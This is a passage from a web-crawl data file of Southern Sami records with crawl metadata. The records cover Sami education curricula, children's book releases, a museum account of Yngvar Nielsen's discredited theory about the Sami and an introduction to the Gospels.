bïjre soptseste. Baalka lea sïejhme symbole jïjnje lidteratuvresne, dovne lyrihkesne jïh soptsestimmie lidteratuvresne. Sïejhmebe ulmie lea geajnoem gaavnedh (jallh ij gaavnedh) jielemen tjirrh. Daesnie aaj maehtebe symbolem naemhtie buerkiestidh – dah båeries jallh geerve almetjh mah tjihtesisnie soptsestieh håhkesjieh maana edtja dam båeries baalkam gaavnedh. Ovtetje almetjh dejnie baalkan mietie vaadtseme, jïh båetije boelvh tjuerieh aaj baalkam provhkedh, guktie eah haajpenh. Baalka båeries beelijste daaletje tïjjese tjåanghkan ektede. Naemhtie maehtebe aaj tjihtesem guarkedh: Tjihtesen jïjtjehke sæjhta båeries, vihkeles saemien vuekieh maanese jåarhkasovvedh.\nMan åvtese maalle hijven?\nGosse mijjieh edtjebe dikte-analysem tjaeledh, dellie hijven teekste-maallem utnedh. Maalle maahta mijjem viehkiehtidh guktie edtjebe dikte-analysem bigkedh. Maalle aaj vuesehte maam tjoerebe meatan utnedh dikte-analysesne.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:abc4aa51-8cc3-47a3-902b-f3e10a453fac\/resource:0201d685-be05-4871-9247-9183069ff6b6","date":"2023-03-24T09:16:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00074.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":546,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2018\nFaage\nDaltese\nGiele\nISBN\n8232900596\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nAelhkies lohkemegærja seerieste Lohkemekråane man 11 aelhkies gærjetjh.\nAelhkies lohkemegærjah seerieste Lohkemekråane, mej 11 aelhkies lohkemegærjetjh jïh mah guektien daltesasse juakeldh, daltese 2–3. Mubpien daltesen gærjaj akte raajese geahken sæjrosne, jïh gåalmeden daltesisnie jis guhkebh teeksth. Gærjaj dovne dååjrehtimmie- jïh saetniesdaajroes teeksth.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_lohkemekraane-daltese-2-3","date":"2023-03-26T18:44:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946445.46\/warc\/CC-MAIN-20230326173112-20230326203112-00644.warc.gz","language":"sma","language_score":0.9999315739,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999315738677979}","num_words":65,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke saemien (MUS02‑02)\nFaagen relevaanse jïh vihkeles aarvoeh\nMusihke lea vihkeles faage sjugniedimmiefaamoen, kultuvregoerkesen jïh identiteeteevtiedimmien gaavhtan. Faagen tjïrrh learohkh våaromem åadtjoeh meatan årrodh musihkesne aktene jieledeguhkies perspektijvesne. Faagesne musihke learohkh maahtoem evtiedieh joejkemisnie, laavloemisnie, tjoejehtimmesne jïh daanhtsosne, musihkem darjodh jïh gellielaaketje vuekieh hammoedidh jïh guarkedh. Faage edtja viehkiehtidh guktie learohkh guarkoeh guktie saemien musihke dovne saemien kultuvreste båata, jïh jeatjah musihke jeatjah kultuvrijste, jïh guktie musihke hijven kultuvrem sjugnede jïh seabradahkejarkelimmieh Saepmesne jïh jeatjah lehkesne veartenisnie vadta. Learohkh edtjieh åadtjodh dååjrehtidh musihke maahta jieledekvaliteetem vedtedh. Musihkefaage edtja learoehkidie ryöjrehtidh meatan årrodh seabradahke- jïh barkoejieliedassesne gusnie daerpies praktihkeles jïh estetihkeles tjiehpiesvoetigujmie, kreativiteetine jïh sosijaale ektiedahkojne.\nGaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Musihkefaagen tjïrrh learohkh edtjieh sijjen estetihkeles, kreatijve jïh sjugniedihks tjiehpiesvoeth evtiedidh, jïh nuepiem åadtjodh dam vuesiehtidh. Faage edtja musihke-aavose jïh haalvemedomtesasse sjïehteladtedh, jïh learohkh edtjieh åadtjodh dååjrehtidh jïjtse gïele ulmiem åtna ektievoetesne. Musihkesne learohkh edtjieh gellielaaketje tjiehpeles jïh kulturelle vuekieh dåastodh mah okside akten stuerebe ektievoetese rïhpestieh. Gaavnedimmieh jielije musihkine leah iemie bielie daestie, jïh learohkh edtjieh åadtjodh dååjredh åålmehmusihke jïh saemien musihkekultuvre leah vihkeles bielieh mijjen ektie kultuvreste jïh kultuvreaerpeste. Learoesoejkesje lea vïedteldihkie saemien aarvojne jïh saemien gïelesne, kultuvresne jïh seabradahkejieliedisnie.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-03-31T18:29:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949678.39\/warc\/CC-MAIN-20230331175950-20230331205950-00402.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":194,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"DAEJREMEVOETEN FAAMOE\n\"Den Paastand at Lapperne i fordums Tid har havt Tilhold sydligere en nu, saavel i Norge som i Sverige, og at de ere de egentlige Urbeboere, (…), tør formentlig ikke længere af Nogen fastholdes, efterat det Urigtige i en saadan Antagelse synes tilstrækkelig paavist ved den nyere Tids videnskabelige Forskning.\"\nLappekommisjonen av 1889\nLaakh jïh stuvrehtimmie bovtsen gåatomelaanteste Røros-saemien dajvesne stoerre nåake konsekvensh åadtjoejin dejtie saemien årroejidie. Stuvrehtimmie jeenjemasth bööti mænngan voenges almetjh dam krïeveme, jïh våaroeminie barkoem lappekommisjovnese utni jaepeste 1889, jïh Yngvar Nielsenen \"daejremevoeteles\" dåarjoe.\nDAEJREMEVOETEN FAAMOE\nLappekommisjovnen barkoen jïh båatsoesïjti sjïehtesjimmien duekesne 1894 lij akte tjarke behtjiedimmie dejstie tjïeltijste Røros-saemien dajvesne. Røros tjïelteståvroe mahte aktem dongkemem seedti juktie båatsoen reaktah gaertjiedidh. Daate edtji sjugniehtovvedh viehkine kommisjovneste jallh våaroemisnie aktede vååksjedimmeste \"af en offentlig dertil autoriseret mand\", (aktede byögkeles jïh maehteles ålmeste). Tjïelte gåabpegh bielieh åadtjoeji.\nStipendine universiteeteste Yngvar Nielsen (1843–1916) aktene golme - njieljie våhkoen guhkies \"dotkemefealadimmesne\" mïnni åarjelsaemien dajvesne 1889. Seamma tïjjen lappekommisjovne sov barkojne nïerhki. Nielsen lij professovre geografijesne jïh etnografijesne Universiteetesne Kristianiesne. Dïhte lij åvtehke Etnografiske museumisnie jaepiej 1877–1916, jïh lij akte dejstie don baelien stuvrije konservatijve historihkerijstie – amma akte almetje autoriteetine jïh tsevtsemefaamojne. Altese gïeblije ållermaehteme saemijste, mij gaskem jeatjah vååjnesasse bööti feelemegïetegærjesne maam tjeeli 1879, lij akte naa sïejhme vuajnoe. Daan biejjien altese barkoe lea vuajnalgamme goh akte tjarke raasesïerredimmie.\nAajkoe Nielsenen feeleminie Rørosen dajvesne lij åarjelsaemien daeverh sïjse tjöönghkedh Etnografiske museumasse. Altese \"Afhandling\", tjaalege feelemistie, mij trygkesovvi dan geografeles sïelten jaepiegærjesne seamma jaepien, idtji dan jïjnjem utnieh dej daeveri bïjre mejtie lij sïjse tjöönghkeme. Sijjeste aktem \"daejremevoeteles dåarjoem\" böökti digkiedimmesne \"saemiej vaanterdimmien bïjre åarjese\". Altese teorijen gaavhtan, mij jeehti åarjelsaemieh lin Rørosen dajvese båateme easkah jaepien 1700 bïjre, åejvieladtjh daejremevoeteles dåarjoem åadtjoeji åarjelsaemiej reaktah eatnamasse gaertjiedidh.\nUrrebe dotkeme\nDan biejjien Yngvar Nielsenen \"fremrykningsteorije\" vielie vuajnelge goh akte vaestiedasse 1800-låhkoen daerpiesvoetese aktem nöörjen histovrijem sjïdtedehtedh, buerebh goh akte serijööse dotkeme. 1940-låhkoen gïeleprofessovre Knut Bergsland båeries saemien sijjienommh Rørosen dajvesne vihtiesti. Dej nommi gaavhtan dïhte vuesiehti Nielsen båajhtode veelti mij jeehti saemien sijjienommh eah lin åehpies regijovnesne. Mænngan jienebh arkeologeles gaavnoeh saemien årromesijjijste, gaskem jeatjah Vivallesne Herjedaelesne jïh Aursjøen lïhke Lesjesne, vuesiehtamme Nielsenen bagkesimmieh eah lin reaktoe. Joekoen histovrijefaagen sisnjelen Nielsenen teorije lea guhkiem jieleme. Såemies historihkerh leah veeljeme orre dotkemem tjelmiehtidh. Dah leah Nielsenen aarvehtsem dåarjoehtamme jïh destie dam båeries daejremevoeteles faamoem guhkiedamme.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/rorosmuseet.no\/daejremevoeten-faamoe","date":"2023-03-23T11:22:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00538.warc.gz","language":"sma","language_score":0.9999158382,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999158382415771}","num_words":373,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I sommer gis det ut mange fine barnebøker på sørsamisk. Daan giesien gellie tjaebpies maanagærjah åarjelsaemien gïelesne båetieh.\nAmmul og den blå kusinen\nMary A. Sombys «Ammul og den blå kusinen» fra 1976 regnes som den første samiske bildeboka. Den utkom på norsk og nordsamisk den gang for 45 år siden. Historien handler om et møte med sajve-folket, de underjordiske i samiske sagn og myter.\nNå utgir Gïelem nastedh og Trøndelag fylkesbibliotek endelig boka på sørsamisk. Samtidig utgir de også en revidert utgave på nordsamisk, med modernisert rettskriving. Den nye nordsamiske utgaven kalles «Ámmol ja Alitoarpmealli», og de sørsamiske boka heter «Ammol jïh Plaaveaajkohke». Boka vil bli nylansert på den samiske kulturfestivalen Riddu Riđđu i midten av juli.\nFlommen\nEt nydelig og spesielt samarbeid ligger bak den sørsamiske utgaven av tegneserieromanen «Dulvie» («Flommen») av norskamerikaneren Max Estes, som bor og arbeider i Fredrikstad. Det er en stilren og fåmælt fortelling i stramme, mørke farger om mannen, hunden og bilen i møte med en hundreårsflom gjennom dalen, og med en skadet ørn. De sørsamiske utgiverne ønsket at boka skulle inneholde mer tekst og mer språklæring, og oversetteren Åse Klemensson la derfor inn en ny fortellerstemme i boka. Dette er ei bok som vil ha appell til barn, ungdom og voksne.\nGullhår og de tre bjørnene\nDet kjente eventyret om «Gullhår og de tre bjørnene» kan leses som en skrekkhistorie for små barn, som et komisk mysterium, eller for å lære ungene forskjellen mellom liten, stor og «akkurat passe». En komisk bildebokversjon er oversatt fra engelsk av Johan Sandberg McGuinne.\nVilse i Skogen\nI barneboka «Tjaajanidh» («Vilse i skogen») er klassen på skogstur. Men så oppdager de at de har kommet bort fra den merkede stien. Dette er den andre boka som utgis på sørsamisk i serien «Skuvlesne» («På skolen») av svenske Helena Bross. Bøkene er fine til egenlesning i småskolealderen.\nHundrelappen\nDen korte barneboka «Tjuetiekråvnasïetele» («Hundrelappen») er raskt lest, med enkel tekst. Men den gir mye å tenke på for Åvla, gutten som opplever at faren blir rasende når en pengeseddel blir borte.\nJulian er en havfrue\nGïelem nastedh og fylkesbiblioteket samarbeider også med språk-arbeidere på andre samiske språk.\nDen fine bildeboka «Julian er en havfrue» utkommer i tre ulike utgaver; på nordsamisk, lulesamisk og sørsamisk. Denne boka er opprinnelig fra USA, og forfatteren Jessica Love forteller om en gutt og hans bestemor, og om hvordan Julian endelig få lov til å pynte seg med fjær og kjole, og føle seg som en havfrue. Boka kommer ut i tide til Sapmi Pride i august. Oversetterne er Risten Birje Steinfjell, Ole-Fredrik Vandar og Berit Margrethe Oskal.\nPlupp og vårflommen\n«Plupp og vårflommen» er en av de mest populære bøkene om det lille fjelltrollet Plupp og hans liv sammen med reinsdyrene og de små vennene Lemen og Hermelin. Boka finnes fra før på flere samiske språk. Nå i sommer kommer også den lulesamiske utgaven «Pluhppa ja gidádulvve», oversatt av Are Tjikkom.\nDe ville svanene\nH.C. Andersens eventyr «De ville svanene» handler om trolldom, god magi og søskenkjærlighet. En tegneserieaktig barnebok med en gjenfortelling av eventyret har nylig utkommet på lulesamisk som «Snuktjaprinsæssa», oversatt av Ole-Fredrik Vandar. Den samme boka utkom på sørsamisk i 2017. De lulesamiske bøkene utgis av Hamarøy kommune og Árran lulesamisk senter med bistand fra Trøndelag fylkesbibliotek.\nGiesielohkeme åarjelsaemien gïelesne\nDaan giesien gellie tjaebpies maanagærjah åarjelsaemien gïelesne båetieh.\nAmmol jïh Plaaveaajkohke\nMary A. Sombyn «Ammul og den blå kusinen» jaepeste 1976 voestes saemien guvviegærjine ryöknesåvva. Dïhte nöörjen jïh noerhtesaemien gïelesne bööti 45 jaepiej juassah. Soptsese lea saajvi bïjre.\nDellie maaje Gïelem nastedh jïh Trööndelagen fylhkengærjagåetie gærjam åarjelsaemien gïelesne bæjhkoehtieh. Seamma tïjjen aaj revideereme låhkoem noerhtesaemien gïelesne bæjhkoehtieh, daajbaaletje reaktatjaelieminie. Orre noerhtesaemien versjovne gohtjesåvva «Ámmol ja Alitoarpmealli», jïh åarjelsaemien gærjan nomme lea «Ammol jïh Plaaveaajhkohke». Edtja gærjam bæjhkoehtidh saemien kultuvrefestivaalesne Riddu Riđđu snjaltjen gaskoeh.\nDulvie\nAkte tjaebpies jïh sjïere laavenjostoe lea daan åarjelsaemien låhkoen duekesne guvvieraajroeromaaneste «Dulvie» nöörjenamerikaneristie Max Estes, mij årroeminie jïh barkeminie Fredrikstadesne. Akte tjaebpies jïh sjeavohts soptsese mïrhke klaerine ålman, bïenjen jïh bïjlen bïjre aktene tjuetiejaepiedulvesne vuemien tjïrrh, jïh arhkenamme aarhtsine. Åarjelsaemien bæjhkoehtæjjah sïjhtin gærja edtji vielie teekstem jïh vielie gïelelïerehtimmiem utnedh, jïh jarkoestæjja Åse Klemensson dan åvteste aktem orre soptsestæjjagïelem gærjese lissiehti. Akte gærja maam dovne maanah, noerh jïh geerve almetjh sijhtieh lyjhkedh.\nGullievoepte jïh dah golme beerh\nÅehpies heamture Gullievoepte jïh dah golme beerh – lea soptsese maam maahta lohkedh goh akte isveligke soptsese smaave maanide, goh lustes mysterijume, jallh maanide joekehtsem lïerehtidh gaskem onne, stoerre jïh «eevre sjiehteles». Lustes guvviegærjaversjovne maam Johan Sandberg McGuinne lea englaantengïeleste jarkoestamme.\nTjaajanidh\nMaanagærjesne Tjaajanidh klaasse skåajjesne mænna. Men dle vueptiestieh sijjieh dah leah dam tsïeglesjamme baalkam dasseme. Daate mubpie gærja mij åarjelsaemien gïelesne båata raajrosne Skuvlesne, maam Helena Bross Sveerjeste lea tjaaleme. Gærjah sjiehteles oktegh lohkedh smaaveskuvleaaltarisnie.\nTjuetiekråvnasïetele\nDïhte åenehks maanagærja Tjuetiekråvnasïetele gåarede varke lohkedh, jïh aelhkie teekstem åtna. Sisvege gærjesne lea Åvla dan jïjnjh åssjaldahkh åådtje, baernie mij dååjroe aehtjebe måarahtåvva gosse akte beetnehsïetele lea gaarvanamme.\nJulian lea mearoenïeijte -\nGïelem nastedh jïh fylhkengærjagåetie aaj gueliebarkijigujmie jeatjah saemien gïeline laavenjostoeh.\nDïhte tjaebpies guvviegærja Julian lea mearoenïejte golme joekehts versjovnine båata; noerhtesaemien, julevsaemien jïh åarjelsaemien. Gærja aalkoelistie USA:ste båata jïh tjaelije Jessica Love akten baernien jïh aahkeben bïjre soptseste, jïh guktie Julian dellie maaje åådtje jïjtjemse feegredh badtsigujmie jïh gaptine, jïh mearoenïejtine domtedh. Gærja båata Saepmie Priden åvtelen mïetsken. Jarkoestæjjah leah Risten Birje Steinfjell, Ole-Fredrik Vandar jïh Berit Margrethe Oskal.\nPluhppa ja gidádulvve\n«Plupp og vårflommen» lea akte dejstie jeenjemes lyjhkedihks gærjijste dan onne vaeriestaaloen bïjre Pluppe jïh altese jieleden bïjre bovtsigujmie jïh dej smaave voelpigujmie Slamma jïh Tjetskie. Gærja gelline gïeline gååvnese aarebistie. Daelie daan giesien aaj julevsaemien versjovne «Pluhppa ja gidádulvve» båata, maam Are Tjikkom jarkoestamme.\nNjoktje-prinsessa\nH.C. Andersenen heamture Doh gedtie njoktjh lea nåajtomen, hijven magijen jïh gieriesvoeten bïjre åerpeni gaskemsh. Akte maanagærja mij guvviegærjine vååjnoe, jïh gusnie heamturem vaajestamme, lea aadtjen julevsaemien gïelesne båateme goh «Snuktjaprinsæssa», maam Ole-Fredrik Vandar lea jarkoestamme. Seamma gærja åarjelsaemien gïelesne bööti 2017. Hábmeren tjïelte jïh Árran julevsaemien jarnge julevsaemien gærjah bæjhkoehtieh dåarjojne Trööndelagen fylhkengærjagåeteste.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.trondelagfylke.no\/en\/nyhetsarkiv\/sommerlesning-pa-sorsamisk\/","date":"2023-04-01T17:33:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950110.72\/warc\/CC-MAIN-20230401160259-20230401190259-00092.warc.gz","language":"sma","language_score":0.9621953368,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9621953368186951, \"sme_Latn_score\": 0.026012327522039413, \"nob_Latn_score\": 0.010794052854180336}","num_words":986,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matematihke 1-10 (MAT01‑05)\nVihkeles tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth matematihkesne sæjhta jiehtedh mïelem sjugniedidh viehkine matematihken bïjre soptsestalledh. Daate sæjhta jiehtedh åssjalommesh buektedh jïh matematihkeles dåeriesmoerh, strategijh jïh loetemh mubpiejgujmie digkiedidh. Evtiedimmie njaalmeldh tjiehpiesvoetijste matematihkesne aalka gosse aarkebiejjien gïelem nuhtjie goske ånnetji ånnetji vielie veelebe matematihkeles gïelem nuhtjie.\nMaehtedh tjaeledh\nMaehtedh tjaeledh matematihkesne sæjhta jiehtedh ektiedimmieh, vueptiestimmieh jïh åssjalommesh buerkiestidh jïh tjïelkestidh viehkine maereles representasjovnijste. Maehtedh tjaeledh matematihkesne lea akte dïrrege juktie jïjtse åssjaldahkh jïh jïjtse lïeremem evtiedidh. Daate sæjhta jiehtedh maehtedh dåeriesmoerh loetedh jïh loetemh åehpiedehtedh mah leah dåastoejasse jïh tseahkan sjïehtedamme. Evtiedimmie tjaaleldh tjiehpiesvoetijste matematihkesne aalka aarkebiejjien gïeline goske ånnetji ånnetji vielie veelebe matematihkeles gïelem nuhtjie.\nMaehtedh lohkedh\nMaehtedh lohkedh matematihkesne sæjhta jiehtedh mïelem sjugniedidh dovne teekstine biejjieladtje – jïh seabradahkejieliedistie, jïh matematihkefaageles teekstine. Maehtedh lohkedh matematihkesne sæjhta jiehtedh bïevnesh veesmedh, hammoem jïh sisvegem analyseeredh jïh vuarjasjidh, jïh bïevnesh ektiebïejeme teekstine iktedidh. Evtiedimmie lohkemetjiehpiesvoetijste matematihkesne lea bïevnesh gaavnedh jïh nuhtjedh ahkedh geervebe teekstine sjïere symbovlegïeline jïh baakoetjïerteåtnojne.\nMaehtedh ryöknedh\nMaehtedh ryöknedidh matematihkesne sæjhta jiehtedh matematihkeles representasjovnh, baakoetjïerth jïh vuekieh nuhtjedh juktie ryöknedidh jïh vuarjasjidh mejtie loetemh leah faamosne. Maehtedh ryöknedidh lea konkreete dåeriesmoerh damtijidh mejtie maahta ryöknedimmine loetedh, jïh gyhtjelassh dej bïjre hammoedidh. Matematihke aktem sjïere dïedtem åtna ryöknedimmielïerehtimmien åvteste. Evtiedimmie ryöknedimmietjiehpiesvoetijste matematihkesne lea analyseeredh jïh loetedh ahkedh geervebe dåeriesmoerh, radtjoes jïh maereles baakoetjïertigujmie, symbovligujmie, vuekiejgujmie jïh strategijigujmie.\nDigitaale tjiehpiesvoeth\nDigitaale tjiehpiesvoeth matematihkesne leah maehtedh graafeguvvieh, ryöknemeaarhkh, CAS, dynamihkeles geometrijeprogrammh jïh programmeeremem nuhtjedh juktie matematihkeles dåeriesmoerh goerehtidh jïh loetedh. Aaj sæjhta jiehtedh bïevnesh gaavnedh, analyseeredh, gïetedidh jïh åehpiedehtedh, viehkine digitaale dïrregijstie. Evtiedimmie digitaale tjiehpiesvoetijste sæjhta ånnetji ånnetji maereles digitaale dïrregh viehkievierhkine nuhtjedh jïh veeljedh juktie matematihkeles dåeriesmoerh goerehtidh, loetedh jïh åehpiedehtedh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-04-01T01:16:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949694.55\/warc\/CC-MAIN-20230401001704-20230401031704-00346.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":271,"character_repetition_ratio":0.129,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2020\nFaage\nGiele\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nViehkiebaakoe\nGaebpien Gåstan darjome tjihtesh goh tjoejegærja.\n«Gaaltije» lea tjoejegærja Gaebpien Gåstan tjihtesijstie. Jïjtjehke gærja «Gaaltije» bööti jaepien 1987, dillie lij voestes heevehtstjaaleldahke åarjelsaemien. Tjoejegærjam Nanni Westerfjeld jïh Kjell Appfjell lohkeme.\nDah tjihtesh saemien identiteeten jïh dovletjen bïjre jïh magkeres dïhte gieriesvoete dovne vaeride jïh almetjidie.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_gaaltije","date":"2023-03-27T01:33:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946584.94\/warc\/CC-MAIN-20230326235016-20230327025016-00668.warc.gz","language":"sma","language_score":0.9998245835,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999824583530426}","num_words":67,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhgiesien heannadimmie -Gïelebiesie Saadteskenjuanesne (Saxnäs) ruffien 5-7 b. 2015\nGïelem nastedh Gïelebeasan noeride böörede mah 18-30 jaepiej gaskem. Mijjieh programmem soejkesjeminie, men maehtebe joe daelie soptsestidh akte luste programme sjædta gieltegs darjomigujmie jïh håalijigujmie. Mïerhkesjidie dam biejjiem joe daelie, mijjieh sïjhtebe bïevnesidie daamtaj orrestidh programmen jïh bïeljelimmien bïjre. Ij leah dan gellie sijjieh guktie doh voestes mah \"goernen gåajkoe\" båetieh sijjiem åadtjoeh. Aavoedidie jïh båetede!\nDaate öörnedimmie lea aktene laavenjostosne dej åarjelsaemien reeremetjïeltigujmie Sveerjesne mah sijhtieh meatan årrodh.\nForsommerens happening – Gïelebiesie i Saxnäs 5-7 jun 2015\nGïelem nastedh inviterer til Gïelebiesie for ungdom 18-30 år. Program under planlegging, men så mye kan vi røpe at det blir et artig program med spennende aktiviteter og forelesere. Sett av datoen allerede nå, vi vil stadig oppdatere informasjon om program og påmelding. Begrensede plasser så prinsippet «først til mølla» gjelder. Gled dere og bli med!\nDette arrangementet skjer i samarbeid med de sørsamiske forvaltningskommunene i Sverige som ønsker å delta.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/gielemnastedh.no\/2015\/05\/gielebiesie\/","date":"2023-06-03T04:41:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649105.40\/warc\/CC-MAIN-20230603032950-20230603062950-00371.warc.gz","language":"sma","language_score":0.9963405728,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9963405728340149}","num_words":151,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orre testamente Bijpielisnie\nGïengeles gïehtjedimmie\nNjieljie vaentjelh\nOrre testamentesne njieljie vaentjelh mah Jesusen jieleden bïjre soptsestieh: Meehten, Markosen, Lukasen jïh Jåhhan vaentjelh. Dah nommh leah båateme juktie sïjhtin dejtie sinsitneste juekedh. Mah iktedimmieh gååvnesieh dan vaentjelen jïh dan bijpelen nommen gaskem ibie raakte daejrieh. Vaentjielidie leah tjaaleme medtie 50 raejeste jïh 100-låhkoen raajan.\nMarkosen vaentjele åeniehkommes jïh guktie daajra båarasommes. Meehten vaentjele jïh Lukasen vaentjele Markosen vaentjelem vijredieh soptsesigujmie mah dovne gåabpatjahkh tjaelijh jallh aktem dejstie daejrieh. Dellie sjædta golme soptsesh mah leah dovne seammalaakan jïh ovmessie soptsesh. Markosen vaentjele aalka laavkoje Jåhha jeahta Jesus lea dïhte gïem Jupmele galka seedtedh. Naan vïersi mænngan Jesus soptsesasse båata jïh Jåhha altemse laavkoeji. Meehten jïh Lukas vaentjelh aelkieh fïere guhten reakasovveme soptsesinie. Lukas jeahta engkelh laavloejin ïentjen bijjelen mah dan mænngan aadtjegh reakasovveme Jesusen luvnie guessine, jïh Meehte bïhkede naestielohkijh mah båetieh jïh Jesusem heevehtieh, mijjen jåvlegïerhkemi golme vijsies ålmah.\nJåhhan vaentjele lea guktie dah golme mubpiej vaentjelh bïhkede Jesusen jielede, jaememe jïh tjuedtjielimmie. Seamma aejkien daate vaentjele mubpijste juakasåvva sisvegen jïh stijlen mietie. Dïhte lea goh tjaelije sïjhti gåvvan lissiehtidh mah dah mubpieh joe jeahteme. Jåhhan vaentjele aalka poesijen tekstine, maam pråvhka gåhtjodh Jåhhan prolååge: \"Aalkovisnie Baakoe lij, jïh Baakoe Jupmelen luvnie. Baakoe Jupmele lij.\" Jåhhan vaentjele 1:1.\nEvangeliernas Jesus\nVaentjeli Jesus\nVaentjeli hammoe jïh stijle seammalaakan goh jeatjah litteræære teksth seamma tïjjesne jïh byjresisnie. Seamma goh jeatjah antihken buerkiestimmieh stoerre ålmijste Jesus åehpiedahta dan mietie maam jeehti jïh maam darjoeji åvteli buerkiestimmie dan jaemiemasse jaksi jïh dah tsiehkieh dan bïjre. Jesus buerkiesti goh lohkehtæjja jïh dåvvoje. Dïhte synagåågine lïerehti, dïjrem voerkeli rïjhken bïjre jïh gaajhkh såarhth skïemtjelassh jïh vaejvieh åålmeginie dåvvoeji. Jesus aaj soptsesti Jupmelen stoerre vedtelen jïh gieriesvoeten bïjre mij fïere guhtem böörie dejnie årrodh, Lukasen vaentjele 15:1–32.\nJesus lïerehti daamhtaj viertiedassigujmie, gusnie dïjrem konkreete guvvine vuesiehti jïh gusnie goltelæjjide haestieji vijrebe ussjedadtedh. Naemhtie vaentjeli viertiedassh fungeerieh aaj daan biejjien. Mohte guvviegïele mij 2000 jaepiej juassah sjïere vuekine daajede maahta tïjjen mietie jeatjah vuekine toelhkestidh. Daelie guktie dovletje mijjieh daarpesjibie ussjedidh maam Jesusen viertiedasside sïjhtin jiehtedh.\nSoptsesh eelki tjaalasovvedh\nGosse dåehkie tjelmievïhnesjæjjah Jesusen jieliedisnie vaenebe sjïdti naan desennieri mænngan eelki soptsesh dan bïjre tjaeledh. Dejtie tjöönghkin dïsse maam gohtji vaentjelh. Vaentjeli soptsesh ij eejnegen galkh seammalaakan årrodh lij vihkeles dennie aareh gærhkosne. Vååjnoes goh væhta ij histovrije leah sjïehtedamme, dah vuesiehtieh ovmessie almetji jïjtje dååjrehtimmie Jesusen bïjre. Vuesiehtimmien gaavhtan vaentjelh ovmessie guvvieh 